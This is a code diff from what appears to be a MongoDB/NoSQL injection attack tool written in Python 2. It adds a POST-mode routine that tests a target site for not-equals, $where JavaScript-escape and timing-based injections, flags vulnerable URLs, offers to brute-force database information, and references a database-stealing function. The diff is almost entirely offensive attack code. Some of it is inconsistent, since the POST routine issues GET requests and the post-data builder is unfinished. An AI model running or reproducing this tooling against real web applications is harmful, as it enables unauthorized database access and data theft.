21
21
import time
22
22
import httplib2
23
23
import urllib
24
+ import urllib2
24
25
import pymongo
25
26
import subprocess
26
27
import json
@@ -80,7 +81,11 @@ def mainMenu():
80
81
elif select == "3" :
81
82
#Check minimum required options
82
83
if (optionSet [0 ] == True ) and (optionSet [2 ] == True ):
83
- webApps ()
84
+ if httpMethod == "GET" :
85
+ webApps ()
86
+
87
+ else :
88
+ postApps ()
84
89
85
90
else :
86
91
raw_input ("Options not set! Check Host and URI path. Press enter to continue..." )
@@ -102,6 +107,7 @@ def options():
102
107
global webPort
103
108
global uri
104
109
global httpMethod
110
+ global postData
105
111
global myIP
106
112
global myPort
107
113
#Set default value if needed
@@ -483,7 +489,331 @@ def netAttacks(target):
483
489
raw_input ("Press enter to continue..." )
484
490
return ()
485
491
492
+
493
+ def postApps ():
494
+ print "Web App Attacks"
495
+ print "==============="
496
+ paramName = []
497
+ paramValue = []
498
+ vulnAddrs = []
499
+ possAddrs = []
500
+ timeVulnsStr = []
501
+ timeVulnsInt = []
502
+ appUp = False
503
+ strTbAttack = False
504
+ intTbAttack = False
505
+ trueStr = False
506
+ trueInt = False
507
+ lt24 = False
508
+ global postData
509
+
510
+ #Verify app is working.
511
+ print "Checking to see if site at " + str (victim ) + ":" + str (webPort ) + str (uri ) + " is up..."
512
+
513
+ appURL = "http://" + str (victim ) + ":" + str (webPort ) + str (uri )
514
+
515
+ try :
516
+ body = urllib .urlencode (postData )
517
+ req = urllib2 .Request (appURL ,body )
518
+ appRespCode = urllib2 .urlopen (req ).getcode ()
519
+
520
+ #normLength = int(len(urllib.urlopen(appURL).read()))
521
+ if appRespCode == 200 :
522
+
523
+ normLength = int (len (urllib2 .urlopen (req ).read ()))
524
+ timeReq = urllib2 .urlopen (req )
525
+ start = time .time ()
526
+ page = timeReq .read ()
527
+ end = time .time ()
528
+ timeReq .close ()
529
+ timeBase = round ((end - start ), 3 )
530
+
531
+
532
+
533
+ print "App is up! Got response length of " + str (normLength ) + " and response time of " + str (timeBase ) + " seconds. Starting injection test.\n "
534
+ appUp = True
535
+
536
+ else :
537
+ print "Got " + appRespCode + "from the app, check your options."
538
+ except :
539
+ print sys .exc_info ()
540
+ print "Looks like the server didn't respond. Check your options."
486
541
542
+ if appUp == True :
543
+
544
+ injectSize = raw_input ("Baseline test-Enter random string size: " )
545
+ injectString = randInjString (int (injectSize ))
546
+ print "Using " + injectString + " for injection testing.\n "
547
+
548
+ #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
549
+ #Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
550
+ randomUri = buildUri (appURL ,injectString )
551
+ print "Checking random injected parameter HTTP response size using " + randomUri + "...\n "
552
+ randLength = int (len (urllib .urlopen (randomUri ).read ()))
553
+ print "Got response length of " + str (randLength ) + "."
554
+
555
+ randNormDelta = abs (normLength - randLength )
556
+
557
+ if randNormDelta == 0 :
558
+ print "No change in response size injecting a random parameter..\n "
559
+ else :
560
+ print "HTTP response varied " + str (randNormDelta ) + " bytes with random parameter value!\n "
561
+
562
+ print "Testing Mongo PHP not equals associative array injection using " + uriArray [1 ] + "..."
563
+ injLen = int (len (urllib .urlopen (uriArray [1 ]).read ()))
564
+ print "Got response length of " + str (injLen ) + "."
565
+
566
+ randInjDelta = abs (injLen - randLength )
567
+
568
+ if (randInjDelta >= 100 ) and (injLen != 0 ) :
569
+ print "Not equals injection response varied " + str (randInjDelta ) + " bytes from random parameter value! Injection works!"
570
+ vulnAddrs .append (uriArray [1 ])
571
+
572
+ elif (randInjDelta > 0 ) and (randInjDelta < 100 ) and (injLen != 0 ) :
573
+ print "Response variance was only " + str (randInjDelta ) + " bytes. Injection might have worked but difference is too small to be certain. "
574
+ possAddrs .append (uriArray [1 ])
575
+
576
+ elif (randInjDelta == 0 ):
577
+ print "Random string response size and not equals injection were the same. Injection did not work."
578
+ else :
579
+ print "Injected response was smaller than random response. Injection may have worked but requires verification."
580
+ possAddrs .append (uriArray [1 ])
581
+
582
+ print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n "
583
+ print "Injecting " + uriArray [2 ]
584
+
585
+ whereStrLen = int (len (urllib .urlopen (uriArray [2 ]).read ()))
586
+ whereStrDelta = abs (whereStrLen - randLength )
587
+
588
+ if (whereStrDelta >= 100 ) and (whereStrLen > 0 ):
589
+ print "Java $where escape varied " + str (whereStrDelta ) + " bytes from random parameter value! Where injection works!"
590
+ lt24 = True
591
+ str24 = True
592
+ vulnAddrs .append (uriArray [2 ])
593
+
594
+ elif (whereStrDelta > 0 ) and (whereStrDelta < 100 ) and (whereStrLen - randLength > 0 ):
595
+ print " response variance was only " + str (whereStrDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
596
+ possAddrs .append (uriArray [2 ])
597
+
598
+ elif (whereStrDelta == 0 ):
599
+ print "Random string response size and $where injection were the same. Injection did not work."
600
+
601
+ else :
602
+ print "Injected response was smaller than random response. Injection may have worked but requires verification."
603
+ possAddrs .append (uriArray [2 ])
604
+
605
+ print "\n "
606
+ print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n "
607
+ print "Injecting " + uriArray [3 ]
608
+
609
+ whereIntLen = int (len (urllib .urlopen (uriArray [3 ]).read ()))
610
+ whereIntDelta = abs (whereIntLen - randLength )
611
+
612
+ if (whereIntDelta >= 100 ) and (whereIntLen - randLength > 0 ):
613
+ print "Java $where escape varied " + str (whereIntDelta ) + " bytes from random parameter! Where injection works!"
614
+ lt24 = True
615
+ int24 = True
616
+ vulnAddrs .append (uriArray [3 ])
617
+
618
+ elif (whereIntDelta > 0 ) and (whereIntDelta < 100 ) and (whereIntLen - randLength > 0 ):
619
+ print " response variance was only " + str (whereIntDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
620
+ possAddrs .append (uriArray [3 ])
621
+
622
+ elif (whereIntDelta == 0 ):
623
+ print "Random string response size and $where injection were the same. Injection did not work."
624
+
625
+ else :
626
+ print "Injected response was smaller than random response. Injection may have worked but requires verification."
627
+ possAddrs .append (uriArray [3 ])
628
+
629
+ #Start a single record attack in case the app expects only one record back
630
+
631
+ print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n "
632
+ print " Injecting " + uriArray [4 ]
633
+
634
+
635
+ whereOneStrLen = int (len (urllib .urlopen (uriArray [4 ]).read ()))
636
+ whereOneStrDelta = abs (whereOneStrLen - randLength )
637
+
638
+ if (whereOneStrDelta >= 100 ) and (whereOneStrLen - randLength > 0 ):
639
+ print "Java $where escape varied " + str (whereOneStrDelta ) + " bytes from random parameter value! Where injection works!"
640
+ lt24 = True
641
+ str24 = True
642
+ vulnAddrs .append (uriArray [4 ])
643
+
644
+ elif (whereOneStrDelta > 0 ) and (whereOneStrDelta < 100 ) and (whereOneStrLen - randLength > 0 ):
645
+ print " response variance was only " + str (whereOneStrDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
646
+ possAddrs .append (uriArray [4 ])
647
+
648
+ elif (whereOneStrDelta == 0 ):
649
+ print "Random string response size and $where single injection were the same. Injection did not work."
650
+
651
+ else :
652
+ print "Injected response was smaller than random response. Injection may have worked but requires verification."
653
+ possAddrs .append (uriArray [4 ])
654
+
655
+ print "\n "
656
+ print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n "
657
+ print " Injecting " + uriArray [5 ]
658
+
659
+
660
+ whereOneIntLen = int (len (urllib .urlopen (uriArray [5 ]).read ()))
661
+ whereOneIntDelta = abs (whereOneIntLen - randLength )
662
+
663
+ if (whereOneIntDelta >= 100 ) and (whereOneIntLen - randLength > 0 ):
664
+ print "Java $where escape varied " + str (whereOneIntDelta ) + " bytes from random parameter! Where injection works!"
665
+ lt24 = True
666
+ int24 = True
667
+ vulnAddrs .append (uriArray [5 ])
668
+
669
+ elif (whereOneIntDelta > 0 ) and (whereOneIntDelta < 100 ) and (whereOneIntLen - randLength > 0 ):
670
+ print " response variance was only " + str (whereOneIntDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
671
+ possAddrs .append (uriArray [5 ])
672
+
673
+ elif (whereOneIntDelta == 0 ):
674
+ print "Random string response size and $where single record injection were the same. Injection did not work."
675
+
676
+ else :
677
+ print "Injected response was smaller than random response. Injection may have worked but requires verification."
678
+ possAddrs .append (uriArray [5 ])
679
+
680
+ print "\n "
681
+ print "Testing Mongo this not equals string escape attack for all records..."
682
+ print " Injecting " + uriArray [8 ]
683
+
684
+ whereThisStrLen = int (len (urllib .urlopen (uriArray [8 ]).read ()))
685
+ whereThisStrDelta = abs (whereThisStrLen - randLength )
686
+
687
+ if (whereThisStrDelta >= 100 ) and (whereThisStrLen - randLength > 0 ):
688
+ print "Java this not equals varied " + str (whereThisStrDelta ) + " bytes from random parameter! Where injection works!"
689
+ vulnAddrs .append (uriArray [8 ])
690
+
691
+ elif (whereThisStrDelta > 0 ) and (whereThisStrDelta < 100 ) and (whereThisStrLen - randLength > 0 ):
692
+ print " response variance was only " + str (whereThisStrDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
693
+ possAddrs .append (uriArray [8 ])
694
+
695
+ elif (whereThisStrDelta == 0 ):
696
+ print "Random string response size and this return response size were the same. Injection did not work."
697
+
698
+ else :
699
+ print "Injected response was smaller than random response. Injection may have worked but requires verification."
700
+ possAddrs .append (uriArray [8 ])
701
+
702
+ print "\n "
703
+ print "Testing Mongo this not equals integer escape attack for all records..."
704
+ print " Injecting " + uriArray [9 ]
705
+
706
+ whereThisIntLen = int (len (urllib .urlopen (uriArray [9 ]).read ()))
707
+ whereThisIntDelta = abs (whereThisIntLen - randLength )
708
+
709
+ if (whereThisIntDelta >= 100 ) and (whereThisIntLen - randLength > 0 ):
710
+ print "Java this not equals varied " + str (whereThisStrDelta ) + " bytes from random parameter! Where injection works!"
711
+ vulnAddrs .append (uriArray [9 ])
712
+
713
+ elif (whereThisIntDelta > 0 ) and (whereThisIntDelta < 100 ) and (whereThisIntLen - randLength > 0 ):
714
+ print " response variance was only " + str (whereThisIntDelta ) + "bytes. Injection might have worked but difference is too small to be certain."
715
+ possAddrs .append (uriArray [9 ])
716
+
717
+ elif (whereThisIntDelta == 0 ):
718
+ print "Random string response size and this return response size were the same. Injection did not work."
719
+
720
+ else :
721
+ print "Injected response was smaller than random response. Injection may have worked but requires verification."
722
+ possAddrs .append (uriArray [9 ])
723
+
724
+ print "\n "
725
+ doTimeAttack = raw_input ("Start timing based tests (y/n)? " )
726
+
727
+ if doTimeAttack == "y" or doTimeAttack == "Y" :
728
+ print "Starting Javascript string escape time based injection..."
729
+ start = time .time ()
730
+ strTimeInj = urllib .urlopen (uriArray [6 ])
731
+ page = strTimeInj .read ()
732
+ end = time .time ()
733
+ strTimeInj .close ()
734
+ #print str(end)
735
+ #print str(start)
736
+ strTimeDelta = (int (round ((end - start ), 3 )) - timeBase )
737
+ #print str(strTimeDelta)
738
+ if strTimeDelta > 25 :
739
+ print "HTTP load time variance was " + str (strTimeDelta ) + " seconds! Injection possible."
740
+ strTbAttack = True
741
+
742
+ else :
743
+ print "HTTP load time variance was only " + str (strTimeDelta ) + ". Injection probably didn't work."
744
+ strTbAttack = False
745
+
746
+ print "Starting Javascript integer escape time based injection..."
747
+ start = time .time ()
748
+ intTimeInj = urllib .urlopen (uriArray [7 ])
749
+ page = intTimeInj .read ()
750
+ end = time .time ()
751
+ intTimeInj .close ()
752
+ #print str(end)
753
+ #print str(start)
754
+ intTimeDelta = (int (round ((end - start ), 3 )) - timeBase )
755
+ #print str(strTimeDelta)
756
+ if intTimeDelta > 25 :
757
+ print "HTTP load time variance was " + str (intTimeDelta ) + " seconds! Injection possible."
758
+ intTbAttack = True
759
+
760
+ else :
761
+ print "HTTP load time variance was only " + str (intTimeDelta ) + "seconds. Injection probably didn't work."
762
+ intTbAttack = False
763
+
764
+ if lt24 == True :
765
+ bfInfo = raw_input ("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? " )
766
+
767
+ if bfInfo == "y" or bfInfo == "Y" :
768
+ getDBInfo ()
769
+
770
+
771
+ print "\n "
772
+ print "Vunerable URLs:"
773
+ print "\n " .join (vulnAddrs )
774
+ print "\n "
775
+ print "Possibly vulnerable URLs:"
776
+ print "\n " .join (possAddrs )
777
+ print "\n "
778
+ print "Timing based attacks:"
779
+
780
+ if strTbAttack == True :
781
+ print "String attack-Successful"
782
+ else :
783
+ print "String attack-Unsuccessful"
784
+ if intTbAttack == True :
785
+ print "Integer attack-Successful"
786
+ else :
787
+ print "Integer attack-Unsuccessful"
788
+
789
+ fileOut = raw_input ("Save results to file (y/n)? " )
790
+
791
+ if fileOut == "y" or fileOut == "Y" :
792
+ savePath = raw_input ("Enter output file name: " )
793
+ fo = open (savePath , "wb" )
794
+ fo .write ("Vulnerable URLs:\n " )
795
+ fo .write ("\n " .join (vulnAddrs ))
796
+ fo .write ("\n \n " )
797
+ fo .write ("Possibly Vulnerable URLs:\n " )
798
+ fo .write ("\n " .join (possAddrs ))
799
+ fo .write ("\n " )
800
+ fo .write ("Timing based attacks:\n " )
801
+
802
+ if strTbAttack == True :
803
+ fo .write ("String Attack-Successful\n " )
804
+ else :
805
+ fo .write ("String Attack-Unsuccessful\n " )
806
+ fo .write ("\n " )
807
+
808
+ if intTbAttack == True :
809
+ fo .write ("Integer attack-Successful\n " )
810
+ else :
811
+ fo .write ("Integer attack-Unsuccessful\n " )
812
+ fo .write ("\n " )
813
+ fo .close ()
814
+
815
+ raw_input ("Press enter to continue..." )
816
+ return ()
487
817
488
818
def webApps ():
489
819
print "Web App Attacks"
@@ -969,7 +1299,28 @@ def buildUri(origUri, randValue):
969
1299
return uriArray [0 ]
970
1300
971
1301
def buildPostData (body ):
972
- print "Post data crap goes here."
1302
+ global bodyArray
1303
+ bodyArray = ["" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ]
1304
+ injOpt = ""
1305
+
1306
+ #Split the string between the path and parameters, and then split each parameter
1307
+
1308
+
1309
+ menuItem = 1
1310
+ print "List of parameters:"
1311
+ for params in body .keys ():
1312
+ print str (menuItem ) + "-" + params
1313
+ menuItem += 1
1314
+
1315
+ try :
1316
+ injIndex = raw_input ("Which parameter should we inject? " )
1317
+ injOpt = str (body .keys ()[int (injIndex )- 1 ])
1318
+ print "Injecting the " + injOpt + " parameter..."
1319
+ except :
1320
+ raw_input ("Something went wrong. Press enter to return to the main menu..." )
1321
+ mainMenu ()
1322
+
1323
+
973
1324
974
1325
def stealDBs (myDB ):
975
1326
menuItem = 1
0 commit comments